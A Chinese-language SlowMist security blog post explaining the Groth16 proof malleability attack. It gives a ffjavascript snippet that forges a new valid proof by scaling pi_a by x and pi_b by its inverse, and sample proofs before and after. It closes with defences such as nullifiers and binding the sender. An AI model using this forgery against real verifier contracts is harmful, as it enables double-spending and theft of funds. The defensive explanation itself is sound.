查看原文
其他

ZKP 系列之 Groth16 证明延展性攻击原理及实现

慢雾安全团队 慢雾科技 2023-03-14

By: 大酱


前言


之前的文章我们盘点了 ZKP 主流实现方案技术特点,我们提到了一些 ZKP 算法存在延展性风险,本篇我们继续从实战角度为大家展示它的攻击原理及防御方法。


漏洞简介


ZKP 的延展性攻击,是指给定敌手一个合法证明,敌手在不知道见证的条件下自己生成新的合法证明。


并不是所有的证明系统都存在延展性攻击风险,实际上这个问题目前主要存在于 Groth16 证明系统中。那么问题来了,目前已经有那么多的证明系统,为什么还要坚持使用 Groth16 呢?其实也没得选择,Groth16 生成的证明体积实在是小到极致,验证也极其之快,在计算代价十分昂贵的区块链上,使用 Groth16 似乎是最理想的选择。


延展性风险会带来哪些风险呢?我们可以想象一下如果有这么一个存款系统,它使用用户提交的 ZKP 证明来验证其身份,验证成功则可以提款。由于这个系统的验证过程是公开的,任何人都可以获取到这个证明,如果我们是用证明值本身做为取款登记,如果这个证明被获取到并进行变换,那就可被利用来多次提款。漏洞的利用需要看具体的场景,但我们可以看到延展性首先会带来双花的风险。


数学原理


理解攻击原理我们首先需要从理解算法开始,这需要有一定的密码学基础,感兴趣的同学可以自行寻找 Groth16 算法资料。这里我们直击漏洞根源:验证函数。


我们来看一下这个验证函数公式:



如果没有对这些字母一一从头介绍,我想很难看懂它在表达什么,但我觉得过多的介绍是不需要了,记好公式左边的 “A 乘 B” 就这么简单,然后我们开始施展数学魔法。咒语如下:



根据群的结合律,那么上面公式中:



这只是其中一种比较简单的构造方法,另外还有一种构造方法 [1],这里不做阐述,因为我们已经得到想要的东西了。


工程实现


有了上面的公式,就可以在工程上实现 Groth16 证明的延展。选择一个要伪造证明的对象,获取它的 proof,例如:


{ pi_a: [ '17566212007750634279332191898019870443899908963707812937725971557556988121113', '13653824972036797689593667463260040326059024360787769597142078414930263663703', '1' ], pi_b: [ [ '14906111038352923510344648516413952434168552622848767570599399834157918236589', '15289017543994496306320102143103349779456992442925111629326024552687168229256' ], [ '18841235948006283310515755114762069779103481848435391875780416574913227842443', '6835281862874020275059416795628130939104366467185014410026268177455413514889' ], [ '1', '0' ] ], pi_c: [ '21641806348662631815866837255154640732047306895903168385641666607914783128458', '2082587994352117459125871298218148663854896572836176277773049196516560449682', '1' ], protocol: 'groth16', curve: 'bn128'}


我们看这样的一个 proof,pi_a, pi_b, pi_c 就是上面公式里描述的 A, B, C,这个证明使用的是 BN128 曲线,然后我们需要去寻找支持 BN128 曲线开发库。这里我们选择 ffjavascript,它是一个基于 Javascript 的有限域库,支持 BN128, BLS12381 曲线。


首先,我们任意构造一个域上的元素及它的逆元:


const X = F.e("123456");const invX = F.inv(X);


然后,分别相乘,核心代码如下:


const A = curve.G1.fromObject(proof.pi_a);const B = curve.G2.fromObect(proof.pi_b);new_pi_a = curve.G1.timesScalar(A, X); //A'=x*Anew_pi_b = curve.G2.timesScalar(B, invX); //B'=x^{-1}*B


最后,用 new_pi_a, new_pi_b 去替换原 proof,得到新的 proof:


{ pi_a: [ '6515337738552169645617263495374285821912767490069335826295120714428977813009', '10671874016637483602721966808912960491553808325993800847672325376634242358838', '1' ], pi_b: [ [ '20523135654483520737281403147507843211011765855706506084021355785019229409285', '4032527486736971273144842057682931136787425732029780739716144011227563817375' ], [ '9389285843105460816015935120908213706233585149018458753845466963847282799614', '7207137211649923819130654483456848273137049778520784010268635580504303221849' ], [ '1', '0' ] ], pi_c: [ '21641806348662631815866837255154640732047306895903168385641666607914783128458', '2082587994352117459125871298218148663854896572836176277773049196516560449682', '1' ], protocol: 'groth16', curve: 'bn128'}


至此,我们已经成功构造出了新的证明,把 proof 放到验证函数中去验证可以发现它能通过验证。


防范


如何防范 Groth16 延展性攻击呢?可以参考这四种方法:


  • 对 proof 进行签名,验证者在验证 proof 同时也验证签名是否正确;

  • 参考 TornadoCash 在电路的公开输入中增加 nullifier 值,nullifier 确保证明对应的公开输入只能被使用一次;

  • 在电路中将证明者的身份信息(如以太坊的 msg.sender )加入到公开输入中,然后验证者就可以对提交证明的人进行身份验证;

  • 使用其它的证明系统,参考我们之前的文章


总结


Groth16 存在延展性攻击风险,可通过简单的计算伪造出新的证明,实际运用中需要注意防止出现双花攻击。


考链接:

[1]. https://medium.com/ppio/how-to-generate-a-groth16-proof-for-forgery-9f857b0dcafd


往期 ZKP 系列:

慢雾:盘点 ZKP 主流实现方案技术特点

ZKP 系列之 Circom 验证合约输入假名漏洞复现


往期回顾

引介|EVM 深入探讨 Part 5

最流行的以太坊客户端 —— Prysm 已通过慢雾安全审计

NFT 防钓鱼指北:如何选择一款防钓鱼插件

ZKP 系列之 Circom 验证合约输入假名漏洞复现

慢雾:盘点 ZKP 主流实现方案技术特点

慢雾导航


慢雾科技官网

https://www.slowmist.com/


慢雾区官网

https://slowmist.io/


慢雾 GitHub

https://github.com/slowmist


Telegram

https://t.me/slowmistteam


Twitter

https://twitter.com/@slowmist_team


Medium

https://medium.com/@slowmist


知识星球

https://t.zsxq.com/Q3zNvvF

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存